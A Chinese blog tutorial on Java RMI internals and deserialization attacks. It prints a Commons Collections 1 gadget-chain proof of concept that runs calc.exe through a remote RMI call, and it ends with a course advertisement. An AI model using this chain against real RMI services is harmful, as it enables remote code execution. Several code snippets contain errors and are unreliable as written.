想学JDNI,那想必一定躲不过RMI。
RMI简述
RMI可以远程调用JVM对象并获取结果。所以需要一个server和一个client进行通信。
Server端会创建一个远程对象用于client端远程访问。
下面改造一张来自W3Cschool的图:
只需要知道:Client端使用stub来请求远程方法,而Server端用Skeleton来接收stub,然后将返回值传输给Client。
-
RMI server的构造需要:
-
一个远程接口rmidemo,rmidemo需要继承java.rmi.Remote接口,其中的方法还需要有serializable接口
public interface rmidemo extends Remote {
private static final long serialVersionUID = 6490921832856589236L;
public String hello() throws RemoteException{}
}
-
serialVersionUID是为了防止在序列化时导致版本冲突,所以序列化后UID不同会报异常
2. 能被远程访问的类RmiObject(需要继承UnicastRemoteObject类),类必须实现rmidemo接口。
public class RmiObject extends UnicastRemoteObject implements rmidemo {
protected RmiObject() throws RemoteException {}
public String hello() throws RemoteException{}
}
3. 注册远程对象(RMIRegistry):
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RmiObjct();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
}
}
-
RMI Client。LocateRegistry.getRegistry进行连接,用到lookup()搜索对应方法,然后调用需要的远程方法:
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry(“localhost”, 1099);//获取远程主机对象
// 利用注册表的代理去查询远程注册表中名为hello的对象
rmidemo hello = (rmidemo) registry.lookup(“hello”);
// 调用远程方法
System.out.println(hello.hello());
}
}
以上过程也可以用素十八大佬的一图概括:
RMI反序列化攻击
以CC1链利用AnnotationInvocationHandler进行攻击为例:
CC1的POC为:
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = newChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("godown","buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
}
当Server端存在远程接收Object对象时,可以发送序列化对象:
public interface rmidemo extends Remote {
void work(Object obj) throws RemoteException;
}
在Registry时,rebind会进行反序列化:
public class server {
public static void main(String[] args) throws RemoteException {
rmidemo user= new RmiObject();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}
所以把CC1构造的恶意对象,通过rmi协议连接到 接收对象的类,再向 接收对象的方法传恶意对象:
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(CommonsCollections1());
}
RMI源码分析
如果不想深入RMI的可以跳过这部分,直接看攻击。
Server端UnicastRemoteObject
在刚开始,我们定义了一个类rmiObject,它必须继承UnicastRemoteObject,那这个类有什么用?简而言之就是创建远程对象并put进ObjectTable+监听本地。
该类readObject调用reexport:
reexport又调用exportObject:
在reexport#exportObject中,如果没有UnicastServerRed参数会new UnicastServerRef()
,并且exportObject该对象(这里的export是UnicastRemoteRef的方法)。
- UnicastServerRef的exportObject如下:
- 用到了Util.creatProxy()进行动态代理:
creatProxy使用RemoteObjectInvocationHandler,为rmidemo(远程接口)创建动态代理Proxy.newProxyInstance()
- 使用Target对象封装 远程方法 和生成的动态代理类。var6也就是stub
UnicastServerRef#this.ref.exportObject调用transport.liveRef的exportObject
跟进到liveRef#exportObject(),该exportObject指向了实现Endpoint接口的类,也就是TCPEndpoint()
TCPEndpoint#exportObject指向TCPTransport#exportObject
所以UnicastServerRef#this.ref.exportObject最终在TCPTransport#Object实现:负责监听本地端口
super.exportObject()调用继承方法,TCPTransport的父类是Transport。
Transport()#exportObject把Target放入ObjectTable,用于管理Target
在createProxy()中用到的RemoteObjectInvocationHandler动态代理,该类继承了RemoteObject并实现了InvocationHandler。所以该类可远程传输、可序列化。
Registry端createRegistry(1099)
LocateRegistry.createRegistry(1099)==new RegistryImpl(1099)
RegistryImpl调用了setup配置UnicastServerRef对象。
setup的exportObjec也是指向UnicastObjectRef类,exportObject依然是createProxy()创建动态代理。
不过由于最后一个参数为true,会调用UnicastServerRef#setSkeleton()
setSkeleton()执行Util#createSkeleton()创建skeleton:
createSkeleton()用forName和newInstance反射var2对象,var1初始来自RegistryImpl,拼接_Skel后就是返回RegistryImpl_Skel。
RegistryImpl_Skel类的dispatch会根据不同的写入操作switch不同的操作方式,比如bind就是case0。
后面的代码和Server一样,不过exportObject的对象从UnicastServerRef变成了RegistryImpl
非Object参数RMI攻击
上面的RMI攻击环境是
Server端有接收Object参数的方法。那没有这种方法,服务端接收的是Object的子类,比如HelloObject作为参数,而我们构造的恶意类必须要是Object,该怎么办?
先来了解一下UnicastServerRef的dispatch方法。在客户端lookup远程调用方法时,Registry端执行RegistryImpl_Skel类的dispatch方法,然后将结果writeObject到序列化流:
Client端获取到Registry端的序列化流后,进行反序列化。对其调用。
当Client端向Registry端请求远程对象时,lookup的值为2,Registry端使用RegistryImpl_Skel#dispatch
case2。
Server端则是根据UnicastServerRef#dispatch来
来处理客户端请求,在hashToMethod_Map中寻找Method的hash,
如果找到了就进行反射调用,
这里的hash算法是SHA1。所以让method_hash相同的情况下就能进行反射调用。在debug时RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method,hash就会跟着改变,但是恶意类已经生成。所以能攻击。
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取
有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】